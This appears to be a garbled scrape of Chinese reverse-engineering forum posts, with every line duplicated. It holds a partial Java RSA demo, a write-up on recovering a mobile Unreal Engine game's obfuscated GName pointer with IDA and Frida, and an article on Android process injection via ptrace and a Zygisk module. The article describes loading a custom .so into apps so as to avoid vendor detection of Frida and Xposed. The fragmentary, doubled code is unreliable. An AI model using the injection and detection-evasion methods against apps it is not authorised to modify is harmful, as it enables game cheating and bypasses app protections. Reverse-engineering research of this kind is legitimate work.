57e61895de001a806d5a22ba0e4ee2011a02c258f00e121165ba855dbf271321
\\nZEi7hkmMp
+
Dr8CE3zdeHkg
=
=
\\n12345678
ZEi7hkmMp
+
Dr8CE3zdeHkg
=
=
\\n12345678
Encrypted Data:
0l99zkQGHvlWysaJwl5naA
=
=
\\nDecode Data: a12345678
Encrypted Data:
0l99zkQGHvlWysaJwl5naA
=
=
\\nDecode Data: a12345678
package com.java.Reverse;
package com.java.Reverse;
import
sun.misc.BASE64Decoder;
\\nimport
sun.misc.BASE64Encoder;
\\nimport
javax.crypto.Cipher;
\\nimport
java.security.KeyFactory;
\\nimport
java.security.PrivateKey;
\\nimport
java.security.PublicKey;
\\nimport
java.security.spec.PKCS8EncodedKeySpec;
\\nimport
java.security.spec.X509EncodedKeySpec;
\\nimport
sun.misc.BASE64Decoder;
\\nimport
sun.misc.BASE64Encoder;
\\nimport
javax.crypto.Cipher;
\\nimport
java.security.KeyFactory;
\\nimport
java.security.PrivateKey;
\\nimport
java.security.PublicKey;
\\nimport
java.security.spec.PKCS8EncodedKeySpec;
\\nimport
java.security.spec.X509EncodedKeySpec;
\\npublic
class
RsaBase {
\\n
public static BASE64Encoder base64Encoder;
\\n
public static BASE64Decoder base64Decoder;
\\n
public static String pub_str
=
\\"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB...\\"
;
\\n
public static String pri_str
=
\\"MIICdQIBADANBgkqhkiG9w0BAQEFA...\\"
;
\\npublic
class
RsaBase {
\\n
public static BASE64Encoder base64Encoder;
\\n
public static BASE64Decoder base64Decoder;
\\n
public static String pub_str
=
\\"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB...\\"
;
\\n
public static String pri_str
=
\\"MIICdQIBADANBgkqhkiG9w0BAQEFA...\\"
;
\\nstatic {
base64Encoder
=
new BASE64Encoder();
\\n
base64Decoder
=
new BASE64Decoder();
\\n}
static {
base64Encoder
=
new BASE64Encoder();
\\n
base64Decoder
=
new BASE64Decoder();
\\n}
public static PublicKey getPublicKey(String pub_key) throws Exception {
...
\\n}
public static PrivateKey getPrivateKey(String pri_key) throws Exception {
...
\\n}
public static PublicKey getPublicKey(String pub_key) throws Exception {
...
\\n}
public static PrivateKey getPrivateKey(String pri_key) throws Exception {
...
\\n}
public static byte[] encrypt(byte[] encrypt_str) throws Exception {
...
\\n}
public static byte[] decrypt(byte[] decrypt_str) throws Exception {
...
\\n}
public static byte[] encrypt(byte[] encrypt_str) throws Exception {
...
\\n}
public static byte[] decrypt(byte[] decrypt_str) throws Exception {
...
\\n}
public static String bytesToHex(byte[] bytes) {
...
\\n}
public static String bytesToHex(byte[] bytes) {
...
\\n}
public static void main(String[] args) throws Exception {
String str_base64
=
\\"0123456789\\"
;
\\n
byte[] ec_cipher
=
encrypt(str_base64.getBytes());
\\n
System.out.println(
\\"明文:\\"
+
str_base64);
\\n
System.out.println(
\\"密文:\\"
+
bytesToHex(ec_cipher));
\\n
byte[] deByteStr
=
decrypt(ec_cipher);
\\n
String deString
=
new String(deByteStr);
\\n
System.out.println(
\\"解密结果:\\"
+
deString);
\\n}
public static void main(String[] args) throws Exception {
String str_base64
=
\\"0123456789\\"
;
\\n
byte[] ec_cipher
=
encrypt(str_base64.getBytes());
\\n
System.out.println(
\\"明文:\\"
+
str_base64);
\\n
System.out.println(
\\"密文:\\"
+
bytesToHex(ec_cipher));
\\n
byte[] deByteStr
=
decrypt(ec_cipher);
\\n
String deString
=
new String(deByteStr);
\\n
System.out.println(
\\"解密结果:\\"
+
deString);
\\n}
package com.java.Reverse;
/
*
RsaHex类演示了RSA加密解密的过程,包括密钥对生成、加密、解密等操作。
\\n
*
/
import
javax.crypto.Cipher;
\\nimport
java.math.BigInteger;
\\nimport
java.security.
*
;
\\nimport
java.security.interfaces.RSAPrivateKey;
\\nimport
java.security.interfaces.RSAPublicKey;
\\nimport
java.security.spec.RSAPrivateKeySpec;
\\nimport
java.security.spec.RSAPublicKeySpec;
\\npackage com.java.Reverse;
/
*
RsaHex类演示了RSA加密解密的过程,包括密钥对生成、加密、解密等操作。
\\n
*
/
import
javax.crypto.Cipher;
\\nimport
java.math.BigInteger;
\\nimport
java.security.
*
;
\\nimport
java.security.interfaces.RSAPrivateKey;
\\nimport
java.security.interfaces.RSAPublicKey;
\\nimport
java.security.spec.RSAPrivateKeySpec;
\\nimport
java.security.spec.RSAPublicKeySpec;
\\npublic static BigInteger publicN;
public static BigInteger publicE;
public static BigInteger privateN;
public static BigInteger privateD;
[峰会]看雪.第八届安全开发者峰会10月23日上海龙之梦大酒店举办!
\\n\\n前段时间研究了一下某游戏的GName算法,水一篇文章记录一下,以下简称该游戏为C手游。
首先先dump并修复libUE4.so,拖进IDA看一下。ida解析完成后,搜ByteProperty,找到引用的函数
正常来说找函数调用,这个函数的参数就是全局变量FNamePool的指针,也就是GName,但是C手游的查引用后发现,只有一个函数sub_562B820调用过这个sub_5627A0C
其中这个v1就是本该是一个GName的值,再对sub_562B820查一次调用,随便进去一个函数,发现sub_562B820这个函数的返回值貌似返回的就是fnamePool的地址
猜测他是通过byte_9B0A620这个数组,以一定的算法去动态生成FNamePool的地址,不像其他UE4游戏,内存中没有指向他的全局变量。
那既然静态分析完了,那就实际来验证一下这个想法对不对吧。
首先先搜一下ByteProperty
找到FNamePool,然后搜索一下0x7325610000引用,果然没有全局变量指向这个地址。对这个地址下个断点,查一下调用栈
进562cf34这个地方看一下
果然跟之前猜测的差不多,写个frida脚本试试能不能生成类名
在登陆界面获取看看world的类名
也是验证成功了。
这次最开始还是花了点时间,看懂了之后就感觉这个方法还挺简单的,也算是见识了一种修改GName的方式。
/
/
sub_562B20的返回算法
\\nreturn
*
(_QWORD
*
)(byte_9B0A620[(unsigned
int
)off_9B0A6A0] | (unsigned __int64)(unsigned __int16)(byte_9B0A620[dword_9B0A6A4] <<
8
) | ((unsigned __int64)byte_9B0A620[dword_9B0A6A8] <<
16
) &
0xFFFF000000FFFFFFLL
| (byte_9B0A620[(unsigned
int
)off_9B0A6AC] <<
24
) | ((unsigned __int64)byte_9B0A620[dword_9B0A6B0] <<
32
) &
0xFFFF00FFFFFFFFFFLL
| ((unsigned __int64)byte_9B0A620[dword_9B0A6B4] <<
40
) | ((unsigned __int64)byte_9B0A620[dword_9B0A6B8] <<
48
) | ((unsigned __int64)byte_9B0A620[(unsigned
int
)off_9B0A6BC] <<
56
));
\\n/
/
sub_562B20的返回算法
\\nreturn
*
(_QWORD
*
)(byte_9B0A620[(unsigned
int
)off_9B0A6A0] | (unsigned __int64)(unsigned __int16)(byte_9B0A620[dword_9B0A6A4] <<
8
) | ((unsigned __int64)byte_9B0A620[dword_9B0A6A8] <<
16
) &
0xFFFF000000FFFFFFLL
| (byte_9B0A620[(unsigned
int
)off_9B0A6AC] <<
24
) | ((unsigned __int64)byte_9B0A620[dword_9B0A6B0] <<
32
) &
0xFFFF00FFFFFFFFFFLL
| ((unsigned __int64)byte_9B0A620[dword_9B0A6B4] <<
40
) | ((unsigned __int64)byte_9B0A620[dword_9B0A6B8] <<
48
) | ((unsigned __int64)byte_9B0A620[(unsigned
int
)off_9B0A6BC] <<
56
));
\\n[
13432
|
13587
] event_addr:
0x7325610000
hit_count:
320
, Backtrace:
#00 pc 000000000562aeb4 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#01 pc 000000000562cf34 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#02 pc 00000000059db020 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#03 pc 0000000003dac2dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#04 pc 00000000059e29c0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#05 pc 0000000006cb6fe0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#06 pc 00000000058dc80c /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#07 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#08 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#09 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#10 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#11 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#12 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#13 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#14 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#15 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#16 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#17 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#18 pc 00000000058681b0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#19 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#20 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#21 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#22 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#23 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#24 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#25 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#26 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#27 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#28 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#29 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#30 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#31 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#32 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#33 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#34 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#35 pc 00000000058681b0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#36 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#37 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#38 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#39 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#40 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#41 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#42 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#43 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#44 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#45 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#46 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#47 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#48 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n[
13432
|
13587
] event_addr:
0x7325610000
hit_count:
320
, Backtrace:
#00 pc 000000000562aeb4 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#01 pc 000000000562cf34 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#02 pc 00000000059db020 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#03 pc 0000000003dac2dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#04 pc 00000000059e29c0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#05 pc 0000000006cb6fe0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#06 pc 00000000058dc80c /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#07 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#08 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#09 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#10 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#11 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#12 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#13 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#14 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#15 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#16 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#17 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#18 pc 00000000058681b0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#19 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#20 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#21 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#22 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#23 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#24 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#25 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#26 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#27 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#28 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#29 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#30 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#31 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#32 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#33 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#34 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#35 pc 00000000058681b0 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#36 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#37 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#38 pc 00000000058de1ac /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#39 pc 00000000058dde28 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#40 pc 00000000058dc814 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#41 pc 00000000057b92dc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#42 pc 00000000057b9410 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#43 pc 0000000005876ecc /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#44 pc 00000000057ae080 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n
#45 pc 00000000058de858 /data/app/~~xxx_xxxxxxxxxxx==/com.xxxxxxx.xxxx.xxxxx-xxxxxxxxxxxxxxx==/lib/arm64/libUE4.so
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n在android系统中,进程之间是相互隔离的,两个进程之间是没办法直接跨进程访问其他进程的空间信息的。那么在android平台中要对某个app进程进行内存操作,并获取目标进程的地址空间内信息或者修改目标进程的地址空间内的私有信息,就需要涉及到注入技术。
通过注入技术可以将指定so模块或代码注入到目标进程中,只要注入成功后,就可以进行访问和篡改目标进程空间内的信息,包括数据和代码。
在我们进行算法还原再或者进行APP的RPC算法调用的时候,都有对APP注入的需求。
只不过目前的工具比较成熟,大家都忽略了注入的这个过程。
随着厂商对常见注入工具Frida、Xposed的特征检测,注入后APP会发生崩溃不可运行的问题。
众所周知:游戏安全对抗领域往往要比常见的应用安全领先多个领域,当然很多大厂也开始上了策略检测注入,但更多的只是风控策略,不会发生闪退(因为不同的厂商对于系统多少有些修改,万一有些系统会注入辅助so,那么会造成很大的误伤)
例如BB企业版、爱加密企业版、360企业版都对frida、xposed等工具进行检测,那么我们就可以手动注入dobby hook 以及支持Java的一些sandhook 来辅助分析,当然分析效率没有frida高,但是不会触发闪退检测策略。(当然本工具后期有打算进一步开发隐藏注入,这对游戏安全是小儿科,但是应用安全隐藏的话效果还是很可观的)
所以本文章首先讨论多种注入方式,并给出开源的面具模块供大家编译使用,注入自己开发的so,或者是调用成品库,进行hook以及高性能的RPC。
本文会罗列出几个常见的注入技术,以及列出使用该原理的工具,并重点讲一下zygote注入的模块开发。
我会详细讲解我比较熟悉的两种注入方式(修改aosp、zygisk),以及简单带过一些可能的注入方式,并后续补充注入材料。
静态注入,静态解析ELF文件,增加一个依赖SO,或新增一个section节(注入代码在section字段),代码节是自己的注入代码,然后修复ELF文件结构。
修改dex,增加静态dex段,system.load 加载自己的so
实现案例:平头哥,一些虚拟xposed框架
这种方式的优点:
免root、便于分发、打包速度一般
缺点:
对于签名检测的pass难度比较高
**由于Android是基于linux内核的操作系统,所以Android下的注入也是基于Linux下的系统调用函数ptrace()
实现的。**即在获得root权限后,通过ptrace()系统调用将stub(桩代码)注入到指定pid的进程中。
常见使用工具:IDA、GDB、LLDB、Frida等常见工具
我们也可以自己写一个ptrace简单的注入so,下面我给出一个项目,感兴趣的大佬可以自己编译进行尝试。
这里进行预告:后面我会自己写一个调试器(基于ptrace),会写出文章进行分享,目前已经在做了。
这里简单附上几篇ptrace的文章,感兴趣的大佬可以尝试。
因为我研究的实在是不多。
https://blog.csdn.net/hp910315/article/details/77335058
https://blog.csdn.net/jinzhuojun/article/details/9900105
这种方式的优点:
注入速度快,注入不容易检测到(ptrace注入完成以后直接取消ptrace,在后面检测不到)
缺点:
需要root、有一定的ptrace检测(像ida这样的注入,会在maps扫描到当前正在被调试)
attach方式被ptrace占坑方式搞得不好绕过(ida表示非常难受)。
常见使用工具:xposed 实现工具:Riru(早期)、Zygisk(常用)
zygote注入是属于全局注入的方式,它主要是依赖于fork()子进程方式进行注入的。
目前市面上比较成熟的注入工具xposed就是基于zygote的全局注入。
它有两大优点:主要在于zygote是系统进程,通过系统进程fork出来后它就具备隐蔽性,强大性。
常见的一些工具都是使用Zygisk注入,比如知名的开源项目Zygisk-Il2CppDumper
以及寒冰大佬开发的FrdiaManager 还有Xposed框架都支持Zygsik注入
下面我来讲一下我开发的模块是如何注入自己的so的(本模块是基于**Zygisk-Il2CppDumper项目进行修改,因为作者写的Gradle实在是太好用啦)**
通过修改aosp系统的源码,在app加载之前插桩语句,加载自定义库。
后面会有一个小模块进行讨论。
重点就是这几个api, 看注释理解
用最通俗粗略的理解来表示的话:
pre是刚从zygote fork出来没有沙箱限制的时候
postAppSpecialize 相当于app进程启动, 这里可以做自定义dex加载的一些动作
postServerSpecialize 相当于系统服务也就是system server 运行
官方提供了一个https://github.com/topjohnwu/zygisk-module-sample案例,也可以读一读
实现原理非常简单:
从app可以访问的路径copy要注入的so到自己的私有目录(因为有selinux的限制)
之后使用dl_open加载目标so
这里主要实现了面具模块主要提供的api
我们的实现主要是这个实现的函数,此时app已经处于沙盒中了,只有app自身的权限
在这里我们需要修改要注入的包名,不然模块不会进一步注入
主要功能实现
复制过程,主要就是把/data/local/tmp/test.so 复制到私有目录,然后修改权限为0755 不然dlopen没法加载
尝试打开十次,获取到so的handle
寻找符号并执行
可以自己写一个自己的函数在用dlsym调用,这里就不多说了
源码导入android studio就可以构建出面具模块了,再次感谢原作者的项目
在编译之前应该修改目标app的包名,如果不修改不会注入(后面会考虑做一个和shamiko一样的黑白名单)初代版本大家先手动修改
编译自己的插件so实现自己的功能
这里需要了解的是dlopen的加载流程。见番外篇。
当然可以修改插件,使用dlsym找到自己函数的符号,手动加载。
我已经实现了JNI_ONLOAD的加载。
